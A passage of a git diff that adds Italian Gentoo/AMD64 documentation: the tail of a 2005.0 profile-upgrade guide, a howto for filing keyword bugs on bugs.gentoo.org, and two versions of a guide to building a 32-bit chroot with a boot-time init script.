+		# <i>rm -rf /lib32 /usr/lib32</i>
+		# <i>rm /etc/make.profile</i>
+		# <i>ln -s /usr/portage/profiles/default-linux/amd64/2004.3 /etc/make.profile</i> <comment>O 2003.4/lib64 se quella era il vostro profilo originale</comment>
+		# <i>emerge --sync</i> <comment>Una versione dello snapshot di portage più recente del 12 Luglio 2005, 2200 UTC, è necessaria</comment>
+		# <i>emerge -v --oneshot '>=emul-linux-x86-glibc-2.3.4.20041102'</i>
+
+		<comment>Se state aggiornando con lo script :</comment>
+		# <i>rm /var/tmp/2005.0_upgrade/step[34]</i>
+		# <i>cd /usr/portage/profiles/default-linux/amd64/2005.0/scripts</i>
+		# <i>sh ./2004.3-2005.0upgrade.sh</i>
+
+		<comment>Se state aggiornando manualmente:</comment>
+		Continuare  a partire da "Preparazione manuale di /lib32 e /usr/lib32".
+
+<comment>libsandbox.so non si trova</comment>
+	Probabilmente non avete una versione multilib di sandbox o di portage. Il modo più semplice
+	per risolvere questo problema è utilizzare FEATURES=-sandbox durante l'aggiornamento,
+        ed emergere portage and sandbox al termine.
+
+<comment>./conftest: non può eseguire file binari</comment>
+	Probabilmente è necessario abilitare il supporto per l'esecuzione a 32bit nel kernel.
+</pre>
+
+<p>
+<b>Unresolved symbols durante la compilazione o il linking di glibc</b>
+</p>
+
+<p>
+Se ottenete un unresolved symbols durante un emerge di glibc, eseguite emerge
+--sync e riprovate.  Una versione dello snapshot di portage più recente del
+20 Agosto è necessaria. Se volete utilizzare uno snapshot precedente al 20
+Agosto 2005, dovete utilizzare la stessa versione di glibc che avete sul
+vostro sistema. Dopo aver completato l'aggiornamento alla versione 2005.0,
+installate la glibc più recente.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+<section>
+<title>Aggiornare al profilo 2005.0/no-multilib (solo 64bit)</title>
+<body>
+
+<p>
+Usare questo profilo se voi non volete installare applicazioni 32bit sul
+vostro sistema. Questo significa che non sarete in grado di utilizzare giochi
+x86, utilizzare openoffice-bin, mplayer-bin, mozilla-bin (con flash),
+acroread, etc.
+</p>
+
+<pre caption="Cambiare sistema e aggiornare il sistema">
+# <i>rm /etc/make.profile</i>
+# <i>rm /lib32 /usr/lib32</i> <comment>(Solo se questa esiste)</comment>
+# <i>ln -s /usr/portage/profiles/default-linux/amd64/2005.0/no-multilib /etc/make.profile</i>
+# <i>emerge -upv system</i>
+# <i>emerge -uv system</i>
+</pre>
+
+</body>
+</section>
+
+</sections>
+
+
+
+
diff --git a/xml/htdocs/proj/it/base/amd64/howtos/bugs.xml b/xml/htdocs/proj/it/base/amd64/howtos/bugs.xml
new file mode 100644
index 00000000..8c09bf65
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/howtos/bugs.xml
@@ -0,0 +1,168 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/howtos/bugs.xml,v 1.3 2008/01/03 21:31:23 scen Exp $ -->
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-20</date>
+
+<section>
+
+<title>Come chiudere un Keyword-Bug in Gentoo/AMD64</title>
+<body>
+
+<p>
+Inanzitutto vogliamo ringraziarvi per l'aiuto che fornite al progetto
+Gentoo/AMD64. I vostri diligenti sforzi nell'uso delle applicazioni non
+stabili è molto apprezzato. Di seguito saranno spiegati i passi necessari per
+presentare un rapporto per indicare che una applicazione non stabile funziona
+sulla vostra installazione di Gentoo/AMD64.
+</p>
+
+</body>
+</section>
+<section><title>Prima registrarsi!</title>
+<body>
+
+<p>
+Se non si è registrati con un ID su <uri
+link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>,
+bisogna farlo come prima cosa.
+</p>
+
+</body>
+</section>
+<section>
+<title>Passi per presentare un rapporto</title>
+<body>
+
+<p>
+Eseguire i seguenti passi per presentare un rapporto :
+</p>
+
+<ul>
+  <li>
+    Collegarsi su <uri
+    link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>.
+  </li>
+  <li>
+    Premere <c>Report A Bug</c> vicino alla parte superiore della pagina.
+  </li>
+  <li>
+    Scegliere <c>Gentoo Linux</c> dalla lista dei prodotti.
+  </li>
+  <li>
+    Effettuare il log-in usando il vostro account per bugs.gentoo.org.
+  </li>
+  <li>Cercare il vostro bug
+    <ul>
+      <li>
+        Inserire <c>ALL</c> e il nome dell'ebuild nella textbox di ricerca.
+        Siate attenti, <c>ALL</c> è casesensitive.
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Esempio">
+ALL k3b
+</pre>
+
+<ul>
+  <li>
+    Continuare la ricerca del vostro bug
+    <ul>
+      <li>Premere il bottone <c>Search</c>.</li>
+      <li>
+        Controllare se qualcuno a già presentato un rapporto per l'applicazione
+        non stabile che per voi funziona.
+      </li>
+      <li>
+        Dovreste vedere due cose.
+        <ul>
+          <li>La colonna Plt dovrebbe indicare <c>amd64</c>.</li>
+          <li>
+            La colonna Summary dovrebbe indicare qualcosa come <e>working on
+            amd64</e>.
+          </li>
+        </ul>
+      </li>
+      <li>
+        Se non trovaste nessuna indicazione di funzionamento nella pagina di
+        ricerca, passate al prossimo passo. Viceversa, siamo già a conoscenza
+        che l'applicazione funziona e non è necessario (e non dovreste)
+        presentare un nuovo rapporto.
+      </li>
+    </ul>
+  </li>
+  <li>
+    Dare le vostre informazioni
+    <ul>
+      <li>Selezionare <c>Ebuilds</c> per <e>Component</e>.</li>
+      <li>Selezionare <c>amd64</c> per <e>Hardware Platform</e>.</li>
+      <li>
+        Nel textbox <e>Summary</e>, inserire il vostro sommario nella forma:
+        ${categoria}/${applicazione}-${versione} works on amd64.
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Esempio">
+app-cdr/k3b-0.11.6 works on amd64
+</pre>
+
+<ul>
+  <li>
+    Continuare scrivendo
+    <ul>
+      <li>
+        Nell'area <e>Description</e>, inserire una sintetica descrizione nella
+        forma: Please add "~amd64" to the KEYWORDS for
+        ${categoria}/${applicazione}-${versione}.
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Esempio">
+Please add "~amd64" to the KEYWORDS for app-cdr/k3b-0.11.6
+</pre>
+
+<ul>
+  <li>
+    Proseguendo:
+    <ul>
+      <li>
+        Incollare l'output di <c>emerge info</c> nell'area <e>Description</e>.
+        Questo passo è molto utile e fornisce le condizioni ambientali (es. USE
+        flags) che utilizzate.
+      </li>
+      <li>
+        Selezionare <c>Enhancement</c> dal menù a tendina <e>Severity</e>.
+        <e>Vi preghiamo di non selezionare nient'altro qui. Gli sviluppatori
+        possono cambiare (e cambieranno) la severità del vostro rapporto in
+        caso di necessità.</e>
+      </li>
+    </ul>
+  </li>
+  <li>
+    Controllare due volte il vostro lavoro per essere sicuri di aver inserito
+    i dati corretti.
+  </li>
+  <li>
+    Premere <c>Submit Bug Report</c> quando pronti per archiviare il rapporto.
+  </li>
+</ul>
+
+<p>
+Grazie!
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/amd64/howtos/chroot-old.xml b/xml/htdocs/proj/it/base/amd64/howtos/chroot-old.xml
new file mode 100644
index 00000000..14350767
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/howtos/chroot-old.xml
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/howtos/chroot-old.xml,v 1.3 2009/01/03 15:03:17 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.3</version>
+<date>2008-12-26</date>
+
+<section>
+<title>Introduzione</title>
+<subsection>
+<title>Introduzione ai sistemi a 64bit</title>
+<body>
+
+<p>
+La guida Gentoo Linux per il chroot a 32 bits offre un aiuto per configurare
+un chroot a 32 bit per un sistema Gentoo/AMD64.
+</p>
+
+<p>
+Come è noto, i sistemi a 64bit non eseguono ancora le applicazioni a 32
+nativamente (almeno non con portage), perciò è necessario utilizzare apposite
+librerie di emulazione o creare un vero e proprio ambiente a 32bit
+all'interno di un chroot, dove eseguire nativamente tali
+applicazioni.  Naturalmente, per gli usi più comuni, la creazione di un
+ambiente in chroot non è strettamente indispensabile.  Tuttavia, desiderando
+eseguire programmi per i quali non è possibile realizzare un binario, tranne
+che a 32 bit, si è forzatamente costretti a fare uso di librerie a 32bit o,
+appunto, generare un apposito ambiente in chroot.  Questa guida insegna a
+configurare un ambiente in chroot  32 bit e a installare ed avviare
+applicazioni da esso.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Installazione</title>
+<subsection>
+<title>Installazione di un chroot a 32 bit</title>
+<body>
+
+<p>
+Per installare un ambiente in chroot, è necessario eseguire molti dei
+passi necessari ad installare Gentoo Linux su un computer x86. Per ora, è
+opportuno procurarsi l'ultimo stage3 disponibile sui nostri <uri
+link="http://www.gentoo.org/main/en/mirrors.xml">mirror</uri>.
+</p>
+
+<pre caption="scaricare uno stage3 da un mirror di gentoo">
+$ cd /home/user/downloads
+$ wget -c ftp://distfiles.gentoo.org/releases/x86/2006.1/stages/stage3-i686-2006.1.tar.bz2
+</pre>
+
+<note>
+Si osservi con attenzione che bisogna scaricare uno stage per x86 e
+<c>non</c> per AMD64.
+</note>
+
+<p>
+Dopo aver scaricato lo stage3, si deve creare una nuova cartella per costruirvi
+dentro il nuovo chroot.
+</p>
+
+<pre caption="creazione di una cartella per un chroot a 32bit">
+$ su root <i>inserire la password di root</i>
+# cd /mnt
+# mkdir gentoo32
+</pre>
+
+<p>
+Ciò fatto, bisogna spostare lo stage appena scaricato, scompattarlo e
+configurarlo come in questo esempio.
+</p>
+
+<pre caption="installazione da stage3">
+# cd /mnt/gentoo32
+# tar -xvjpf /home/user/downloads/stage3-i686-2006.1.tar.bz2
+# cp -L /etc/resolv.conf /mnt/gentoo32/etc/
+# cp -L /etc/passwd /mnt/gentoo32/etc/
+</pre>
+
+<p>
+Ecco. Il nuovo chroot è pronto per il setup. Nel prossimo capitolo è spiegato
+come fare.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Setup</title>
+<subsection>
+<title>Preparare la configurazione per il nuovo chroot</title>
+<body>
+
+<p>
+Se ogni cosa fin qui è andata a buon fine, è possibile configurare il sistema
+e completare l'installazione del chroot a 32 bit.
+</p>
+
+<p>
+Il prossimo passo consiste nella definizione dei parametri del file
+<c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+
+<pre caption="Configurare il nuovo make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+
+<p>
+A questo punto, si devono montare i necessari file system virtuali:
+</p>
+
+<pre caption="Mount virtual file systems">
+# mount -o bind /dev /mnt/gentoo32/dev
+# mount -o bind /dev/pts /mnt/gentoo32/dev/pts
+# mount -o bind /dev/shm /mnt/gentoo32/dev/shm
+# mount -o bind /proc /mnt/gentoo32/proc
+# mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb
+# mount -o bind /sys /mnt/gentoo32/sys
+</pre>
+
+<p>
+Ecco, ora siamo in possesso di un vero e proprio sistema a 32 bit, sistemato
+all'interno dell'installazione a 64 e pronto per il chroot. Ora, è opportuno
+sistemare un link dalla cartella di portage della distribuzione a 64 verso
+quella a 32 bit. In questo modo, sarà possibile ottenere un aggiornamento
+sistematico del database senza necessità di inutili duplicazioni dei dati.
+</p>
+
+<pre caption="Creare un link del portage verso /usr/portage al chroot a 32bit">
+# mkdir -p /mnt/gentoo32/usr/portage/
+# mount -o bind /usr/portage /mnt/gentoo32/usr/portage/
+</pre>
+
+<note>
+Ogni volta che verrà aggiornato il portage per mezzo di un emerge sync,
+risulterà aggiornato contemporaneamente anche l'ambiente a 32 bit.
+</note>
+
+<p>
+Inoltre, se c'è necessità di eseguire applicazioni grafiche a 32bit, che fanno
+uso di X, si dovrà anche montare una cartella /tmp
+</p>
+
+<pre caption="Mount /tmp per le applicazioni in modalità GUI">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+
+<p>
+Finalmente, siamo pronti per l'accesso all'interno del chroot.
+</p>
+
+<pre caption="Ingresso nel chroot">
+# emerge --noreplace sys-apps/util-linux
+# linux32 chroot /mnt/gentoo32 /bin/bash
+<i>(Verificare la corretta configurazione di un sistema i686)</i>
+# uname -m
+i686
+</pre>
+
+<warn>
+La utility <c>linux32</c> è indispensabile per modificare l'impostazione della
+variabile CHOST. In assenza, non sarà probabilmente possibile compilare alcunchè
+all'interno dell'ambiente di chroot.
+</warn>
+
+<p>
+Ora, il nuovo chroot a 32 è pronto per l'aggiornamento. I passi seguenti
+contengono le istruzioni necessarie.
+</p>
+
+<pre caption="Aggiornare il nuovo ambiente a 32bits di chroot">
+# source /etc/profile
+# env-update
+# emerge -au world
+</pre>
+
+<p>
+Dopo di ciò, la configurazione del sistema a 32 bit, può dirsi essenzialmente
+completata. Per mantenere il sistema in chroot immediatamente fruibile fin
+dall'avvio, consigliamo di generare un apposito script che abiliti l'accesso al
+chroot in fase di boot.
+</p>
+
+<pre caption="generazione di un nuovo script di init in /etc/init.d">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bits chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bits chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bits chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null
+    umount -f /mnt/gentoo32/dev/shm >/dev/null
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bits chroot directories"
+}
+</pre>
+
+<p>
+A questo punto, è sufficiente eseguire il comando<c>rc-update add gentoo32
+default</c> per predisporre l'attivazione di chroot in avvio.
+</p>
+
+<p>
+Successivamente, ogniqualvolta sarà necessario accedere al nuovo ambiente,
+basterà eseguire il seguente comando: <c>linux32 chroot /mnt/gentoo32
+/bin/bash</c>.
+</p>
+
+<p>
+Adesso, il nuovo sistema a 32bit è pronto per installare nuove applicazioni.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Applicazioni</title>
+<subsection>
+<title>Installare nuove applicazioni in chroot</title>
+<body>
+
+<p>
+Adesso che siamo in possesso di un chroot a 32bit pienamente funzionante,
+possiamo installare qualunque applicazione in modalità a 32bit. Spieghiamo ora
+come installare nuovi pacchetti all'interno del chroot.
+</p>
+
+<pre caption="Installare foo dentro al chroot">
+# linux32 chroot /mnt/gentoo32 /bin/bash
+# source /etc/profile
+# env-update
+# emerge foo
+</pre>
+
+<note>
+Ricordarsi sempre di eseguire il comando <c>source /etc/profile</c> e
+<c>env-update</c> subito dopo l'ingresso nel sistema di chroot.
+</note>
+
+<p>
+Così, è stato installato un nuovo pacchetto a 32bit. Per eseguirlo, è ora
+necessario collocarsi all'interno del chroot. Per eseguire, invece, applicazioni
+grafiche, la soluzione migliore è quella di utilizzare la tecnica
+dell'<c>xhost</c>. Per avviare applicazioni grafiche a 32 bit, eseguire prima di
+tutto il comando  dall'ambiente a 64:
+</p>
+
+<pre caption="Xhost trick">
+# xhost local:localhost
+</pre>
+
+<p>
+Dopo di ciò, introdursi nuovamente in chroot, dove sarà possibile eseguire ogni
+applicazione compilata all'interno.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Conclusioni</title>
+<subsection>
+<title>Conclusione di questa guida</title>
+<body>
+
+<p>
+Con la tecnica del chroot si possono installare molti pacchetti disponibili
+esclusivamente per l'architettura x86. Alcuni di essi, come <c>OpenOffice</c>,
+possono essere installati con l'uso di binari disponibili nella distribuzione
+Gentoo/AMD64. Alcuni dei codecs esistenti per <c>MPlayer</c>, richiedono
+esclusivamente un ambiente a 32bit, cosicché è possibile installare i
+<c>win32codecs</c> soltanto in chroot.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/amd64/howtos/chroot.xml b/xml/htdocs/proj/it/base/amd64/howtos/chroot.xml
new file mode 100644
index 00000000..e6bd71b1
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/howtos/chroot.xml
@@ -0,0 +1,335 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/howtos/chroot.xml,v 1.4 2006/10/05 22:54:47 so Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<guide link="/proj/it/base/amd64/howtos/chroot.xml" lang="it" >
+<title>Come configurare un chroot a 32 bit</title>
+
+<author title="Autore">
+	<mail link="metalgod@gentoo.org">Luis Medinas</mail>
+</author>
+
+<abstract>
+Questo HOWTO mostra come creare un chroot a 32 bit.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2006-09-16</date>
+	
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Introduzione ai sistemi a 64bit</title>
+<body>
+
+<p>
+La guida Gentoo Linux per il chroot a 32 bit offre un aiuto per configurare
+un chroot a 32 bit per un sistema Gentoo/AMD64.
+</p>
+
+<p>
+Come è noto, i sistemi a 64bit non eseguono ancora le applicazioni a 32
+nativamente (almeno non con portage), perciò è necessario utilizzare apposite
+librerie di emulazione o creare un vero e proprio ambiente a 32bit
+all'interno di un chroot, dove eseguire nativamente tali
+applicazioni.  Naturalmente, per gli usi più comuni, la creazione di un
+ambiente in chroot non è strettamente indispensabile.  Tuttavia, desiderando
+eseguire programmi per i quali non è possibile realizzare un binario, tranne
+che a 32 bit, si è forzatamente costretti a fare uso di librerie a 32bit o,
+appunto, generare un apposito ambiente in chroot.  Questa guida insegna a
+configurare un ambiente in chroot  32 bit e a installare ed avviare
+applicazioni da esso.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installazione</title>
+<section>
+<title>Installazione di un chroot a 32 bit</title>
+<body>
+
+<p>
+Per installare un ambiente in chroot, è necessario eseguire molti dei
+passi necessari ad installare Gentoo Linux su un computer x86. Per ora, è
+opportuno procurarsi l'ultimo stage3 disponibile sui nostri <uri
+link="http://www.gentoo.org/main/en/mirrors.xml">mirror</uri>.
+</p>
+
+<pre caption="scaricare uno stage3 da un mirror di gentoo">
+$ cd /home/user/downloads
+$ wget -c ftp://distfiles.gentoo.org/releases/x86/2006.1/stages/stage3-i686-2006.1.tar.bz2
+</pre>
+
+<note>
+Si osservi con attenzione che bisogna scaricare uno stage per x86 e
+<c>non</c> per AMD64.
+</note>
+
+<p>
+Dopo aver scaricato lo stage3, si deve creare una nuova cartella per costruirvi
+dentro il nuovo chroot.
+</p>
+
+<pre caption="creazione di una cartella per un chroot a 32bit">
+$ su root <i>inserire la password di root</i>
+# cd /mnt
+# mkdir gentoo32
+</pre>
+
+<p>
+Ciò fatto, bisogna spostare lo stage appena scaricato, scompattarlo e
+configurarlo come in questo esempio.
+</p>
+
+<pre caption="installazione da stage3">
+# cd /mnt/gentoo32
+# tar -xvjpf /home/user/downloads/stage3-i686-2006.1.tar.bz2
+# cp -L /etc/resolv.conf /mnt/gentoo32/etc/
+# cp -L /etc/passwd /mnt/gentoo32/etc/
+</pre>
+
+<p>
+Ecco. Il nuovo chroot è pronto per il setup. Nel prossimo capitolo è spiegato
+come fare.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Setup</title>
+<section>
+<title>Preparare la configurazione per il nuovo chroot</title>
+<body>
+
+<p>
+Se ogni cosa fin qui è andata a buon fine, è possibile configurare il sistema
+e completare l'installazione del chroot a 32 bit.
+</p>
+
+<p>
+Il prossimo passo consiste nella definizione dei parametri del file
+<c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+
+<pre caption="Configurare il nuovo make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+
+<p>
+A questo punto, si devono montare i necessari file system virtuali:
+</p>
+
+<pre caption="Mount virtual file systems">
+# mount -o bind /dev /mnt/gentoo32/dev
+# mount -o bind /dev/pts /mnt/gentoo32/dev/pts
+# mount -o bind /dev/shm /mnt/gentoo32/dev/shm
+# mount -o bind /proc /mnt/gentoo32/proc
+# mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb
+# mount -o bind /sys /mnt/gentoo32/sys
+</pre>
+
+<p>
+Ecco, ora siamo in possesso di un vero e proprio sistema a 32 bit, sistemato
+all'interno dell'installazione a 64 e pronto per il chroot. Ora, è opportuno
+sistemare un link dalla cartella di portage della distribuzione a 64 verso
+quella a 32 bit. In questo modo, sarà possibile ottenere un aggiornamento
+sistematico del database senza necessità di inutili duplicazioni dei dati.
+</p>
+
+<pre caption="Creare un link del portage verso /usr/portage al chroot a 32bit">
+# mkdir -p /mnt/gentoo32/usr/portage/
+# mount -o bind /usr/portage /mnt/gentoo32/usr/portage/
+</pre>
+
+<note>
+Ogni volta che verrà aggiornato il portage per mezzo di un emerge sync,
+risulterà aggiornato contemporaneamente anche l'ambiente a 32 bit.
+</note>
+
+<p>
+Inoltre, se c'è necessità di eseguire applicazioni grafiche a 32bit, che
+fanno uso di X, si dovrà anche montare una cartella /tmp
+</p>
+
+<pre caption="Mount /tmp per le applicazioni in modalità GUI">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+
+<p>
+Finalmente, siamo pronti per l'accesso all'interno del chroot.
+</p>
+
+<pre caption="Ingresso nel chroot">
+<i>(Eseguire questo passo esclusivamente se il pacchetto setarch non è già stato
+installato in precedenza)</i>
+# emerge linux32
+# linux32 chroot /mnt/gentoo32 /bin/bash
+<i>(Verificare la corretta configurazione di un sistema i686)</i>
+# uname -m
+i686
+</pre>
+
+<warn>
+La utility <c>linux32</c> è indispensabile per modificare
+l'impostazione della variabile CHOST. In assenza, non sarà probabilmente
+possibile compilare alcunchè all'interno dell'ambiente di chroot.
+</warn>
+
+<p>
+Ora, il nuovo chroot a 32 è pronto per l'aggiornamento. I passi
+seguenti contengono le istruzioni necessarie.
+</p>
+
+<pre caption="Aggiornare il nuovo ambiente a 32bit di chroot">
+# source /etc/profile
+# env-update
+# emerge -au world
+</pre>
+
+<p>
+Dopo di ciò, la configurazione del sistema a 32 bit, può dirsi essenzialmente
+completata. Per mantenere il sistema in chroot immediatamente fruibile fin
+dall'avvio, consigliamo di generare un apposito script che abiliti l'accesso al
+chroot in fase di boot.
+</p>
+
+<pre caption="generazione di un nuovo script di init in /etc/init.d">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bit chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bit chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bit chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null
+    umount -f /mnt/gentoo32/dev/shm >/dev/null
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bit chroot directories"
+}
+</pre>
+
+<p>
+A questo punto, è sufficiente eseguire il comando<c>rc-update add gentoo32
+default</c> per predisporre l'attivazione di chroot in avvio.
+</p>
+
+<p>
+Successivamente, ogniqualvolta sarà necessario accedere al nuovo ambiente,
+basterà eseguire il seguente comando: <c>linux32 chroot /mnt/gentoo32
+/bin/bash</c>.
+</p>
+
+<p>
+Adesso, il nuovo sistema a 32bit è pronto per installare nuove applicazioni.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Applicazioni</title>
+<section>
+<title>Installare nuove applicazioni in chroot</title>
+<body>
+
+<p>
+Adesso che siamo in possesso di un chroot a 32bit pienamente funzionante,
+possiamo installare qualunque applicazione in modalità a 32bit. Spieghiamo ora
+come installare nuovi pacchetti all'interno del chroot.
+</p>
+
+<pre caption="Installare foo dentro al chroot">
+# linux32 chroot /mnt/gentoo32 /bin/bash
+# source /etc/profile
+# env-update
+# emerge foo
+</pre>
+
+<note>
+Ricordarsi sempre di eseguire il comando <c>source /etc/profile</c> e
+<c>env-update</c> subito dopo l'ingresso nel sistema di chroot.
+</note>
+
+<p>
+Così, è stato installato un nuovo pacchetto a 32bit. Per eseguirlo, è ora
+necessario collocarsi all'interno del chroot. Per eseguire, invece,
+applicazioni grafiche, la soluzione migliore è quella di utilizzare la
+tecnica dell'<c>xhost</c>. Per avviare applicazioni grafiche a 32 bit,
+eseguire prima di tutto il comando  dall'ambiente a 64:
+</p>
+
+<pre caption="Xhost trick">
+# xhost local:localhost
+</pre>
+
+<p>
+Dopo di ciò, introdursi nuovamente in chroot, dove sarà possibile eseguire
+ogni applicazione compilata all'interno.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Conclusioni</title>
+<section>
+<title>Conclusione di questa guida</title>
+<body>
+
+<p>
+Con la tecnica del chroot si possono installare molti pacchetti disponibili
+esclusivamente per l'architettura x86. Alcuni di essi, come <c>OpenOffice</c>,
+possono essere installati con l'uso di binari disponibili nella distribuzione
+Gentoo/AMD64. Alcuni dei codecs esistenti per <c>MPlayer</c>, richiedono
+esclusivamente un ambiente a 32bit, cosicché è possibile installare i
+<c>win32codecs</c> soltanto in chroot.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/base/amd64/howtos/fpic-howto.xml b/xml/htdocs/proj/it/base/amd64/howtos/fpic-howto.xml
new file mode 100644
index 00000000..c9dc479f
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/howtos/fpic-howto.xml
@@ -0,0 +1,241 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
